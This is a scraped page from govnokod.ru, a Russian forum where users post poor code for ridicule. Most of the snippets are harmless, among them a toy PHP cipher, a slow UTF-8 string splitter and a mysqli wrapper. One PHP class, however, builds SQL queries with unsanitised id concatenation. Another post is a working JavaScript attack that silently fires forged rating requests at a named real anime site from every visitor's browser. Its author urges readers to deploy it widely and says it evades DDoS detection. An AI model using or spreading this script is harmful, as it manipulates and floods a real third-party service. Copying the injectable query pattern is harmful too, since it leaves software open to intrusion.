- 1
file:///C:/Users/сергейкомп/Desktop/проекты/desktopui_framework/src/core/formloader.cpp
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+1
file:///C:/Users/сергейкомп/Desktop/проекты/desktopui_framework/src/core/formloader.cpp
+1
<?php
function qes2_key ( $key = null ) {
$key = str_split( $key );
$keycount = count( $key );
$xspos = 1;
$summ = 0;
foreach( $key as $letter ) {
$summ += ord( $letter ) * 2 + $xspos + ( $keycount / $xspos );
$xspos++;
}
$summ = explode('.', $summ );
return $summ[0];
}
function qes2_encrypt ( $input, $key ) {
$input = str_split( $input );
$icount = count( $input );
$rsumm = qes2_key( $key );
$result = '';
$xspos = 1;
$xsdisp = 1;
foreach( $input as $letter ) {
$char = ord( $letter ) + ( $rsumm * $xspos ) - $xsdisp ;
$result .= chr( $char );
$xspos++;
$xsdisp += 1;
}
return $result;
}
function qes2_decrypt ( $input, $key ) {
$input = str_split( $input );
$icount = count( $input );
$rsumm = qes2_key( $key );
$result = '';
$xspos = 1;
$xsdisp = 1;
foreach( $input as $letter ) {
$char = ord( $letter ) - ( $rsumm * $xspos ) + $xsdisp ;
$result .= chr( $char );
$xspos++;
$xsdisp += 1;
}
return $result;
}
qes2a encryption (c)
+1
CStringUtf8::iterator& CStringUtf8::iterator::operator++()
{
m_ptr += CCharUtf8Ref::s_bytesForUTF8Sequence[*m_ptr];
return *this;
}
CStringUtf8 CStringUtf8::subString( size_t startChar, size_t count ) const
{
iterator start = this->begin();
while( start!=this->end() && startChar>0 )
{
start++;
startChar--;
}
iterator afterLast = start;
while( afterLast!=this->end() && count!=0 )
{
afterLast++;
count--;
}
return CStringUtf8( start.c_ptr(), afterLast.c_ptr() );
}
CStringUtf8::iterator CStringUtf8::findSubString( CStringUtf8 const& sample, CStringUtf8::iterator startFrom ) const
{
CStringUtf8::iterator pos = startFrom;
CStringUtf8::iterator foundPos = pos;
CStringUtf8::iterator samplePos = sample.begin();
for( ;; )
{
if( samplePos==sample.end() )
return foundPos;
if( pos==this->end() )
return this->end();
if( *samplePos == *pos )
{
if( samplePos==sample.begin() )
foundPos = pos;
samplePos++;
pos++;
}
else
{
if( samplePos==sample.begin() )
pos++;
samplePos = sample.begin();
}
}
}
std::vector<CStringUtf8> CStringUtf8::componentsSeparatedByString( CStringUtf8 const& separator ) const
{
std::vector<CStringUtf8> comps;
size_t sepLen = std::distance( separator.begin(), separator.end() );
size_t startPos = 0;
CStringUtf8::iterator itStart = begin();
if( sepLen > 0 )
{
CStringUtf8::iterator itEnd;
while( ( itEnd = findSubString( separator, itStart ) ) != end() )
{
size_t cnt = std::distance( itStart, itEnd );
CStringUtf8 str = subString( startPos, cnt );
comps.push_back( str );
itStart = itEnd;
std::advance( itStart, sepLen );
startPos += cnt + sepLen;
}
}
size_t cnt = std::distance( itStart, end() );
if( cnt > 0 )
{
CStringUtf8 str = subString( startPos, cnt );
comps.push_back( str );
}
return comps;
}
Привычный для всех плюсовиков велосипед по работе со строкой (походу свой в каждом проекте).
Более 10 лет не замечали тормоза в componentsSeparatedByString, который 100 Кб текст разбирал на строки за 5-10 сек (!!!).
+1
for ($cycle = 1; $cycle <= 6; $cycle++) {
$all_tasks = get_all_tasks();
if ($all_tasks) {
foreach($all_tasks as $one_task) {
$lock_file_abs = __DIR__.'/locks/run_'.$one_task['id'];
$fp = fopen($lock_file_abs,"w+");
if (flock($fp, LOCK_EX | LOCK_NB)) {
solve_one_task($one_task);
flock($fp, LOCK_UN);
}
else {
#не можем запускать обработку задачи
}
fclose($fp);
unlink($lock_file_abs);
}
}
sleep(10);
}
«Как запускать cron чаще, чем раз в минуту при помощи PHP»
https://habr.com/ru/post/498934/
+1
char *CHudTextMessage::LocaliseTextString( const char *msg, char *dst_buffer, int buffer_size )
{
char *dst = dst_buffer;
for ( char *src = (char*)msg; *src != 0 && buffer_size > 0; buffer_size-- )
{
if ( *src == '#' )
{
// cut msg name out of string
static char word_buf[255];
char *wdst = word_buf, *word_start = src;
for ( ++src ; *src >= 'A' && *src <= 'z'; wdst++, src++ )
{
*wdst = *src;
}
*wdst = 0;
Тут недавно слили исходники «Team Fortress 2» и «Counter Strike: Global Offense» — и в соответствующих местах начался вой игроков: кошмар, мы все умрём, нас всех взломают!
+1
function connect( $db_user, $db_pass, $db_name, $db_location )
{
$db_location = explode( ":", $db_location );
if ( isset( $db_location[1] ) ) {
$this->db_object = @mysqli_connect( $db_location[0], $db_user, $db_pass, $db_name, $db_location[1] );
}
else {
$this->db_object = @mysqli_connect( $db_location[0], $db_user, $db_pass, $db_name );
}
if ( ! $this->db_object ) {
$this->display_error( mysqli_connect_error( ), '1' );
}
$this->mysql_version = mysqli_get_server_info( $this->db_object );
mysqli_query( $this->db_object, "SET NAMES '" . COLLATE . "'" );
mysqli_set_charset( $this->db_object, "utf8" );
return true;
}
https://profiphp.ru/useful/class_mysqli.html
немного ООП ПХП
+1
<?php
class Db_object
{
protected static $db_table="users";
public static function find_all(){
global $database;
return static::find_by_query("SELECT * FROM ".static::$db_table." ");
}
public static function find_by_id($id){
global $database;
$raise=static::find_by_query("SELECT * FROM ".static::$db_table." WHERE id= $id LIMIT 1");
return !empty($raise) ? array_shift($raise): false;
}
public static function find_by_query($sql){
global $database;
$raise=$database->query($sql);
$object_array=array();
while ($row=mysqli_fetch_array($raise)) {
$object_array[]=static::instantation($row);
}
return $object_array;
}
// тут еще всякое говно
https://stackoverflow.com/questions/61362010/fatal-error-class-db-object-not-found-in-c-xampp-htdocs-cms-pro-admin-includ - ООП ЦМС ПРО АДМИН говнокодер
+1
Бесконечный оффтоп имени Борманда #3
#1: https://govnokod.ru/25864 https://govnokod.xyz/_25864
#2: https://govnokod.ru/25921 https://govnokod.xyz/_25921
+1
<script>
document.addEventListener('DOMContentLoaded', function() {
for(let i=1; i<50; i++) {
let num = getRandomIntInclusive(1, 4447);
let img = document.createElement('img');
let img2 = document.createElement('img');
let img3 = document.createElement('img');
img.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=video&go_rate=1';
img2.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=gameplay&go_rate=1';
img3.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=sound&go_rate=1';
img.style.position = img2.style.position = img3.style.position = 'fixed';
img.style.top = img2.style.top = img3.style.top = '-50000px';
document.body.append(img);
document.body.append(img2);
document.body.append(img3);
}
});
function getRandomIntInclusive(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>
Ахуенный код чтобпоказать админам что они долбоёбы и нехуй юзать get pапросы!
Поставил на несколько своих сайтов где по 300-400 просмотров в месяц. Но я также нуждаюсь в вашей поддержке, ставьте его везде где только можно!
Не палится ддосом если запускать раз в пару минут!! По моим подсчётам через год у них будут в минусе все аниме
Но если вы поддержите меня то это случится даже быстрееееееее
+1
PREVIEW:
https://postimg.cc/67RGYQf8
PATH:
http://fanserials.auction/49075-razraby-1-sezon-1-seriya.html
Фарадея золочёная клетка
Маяковского помятый пиджак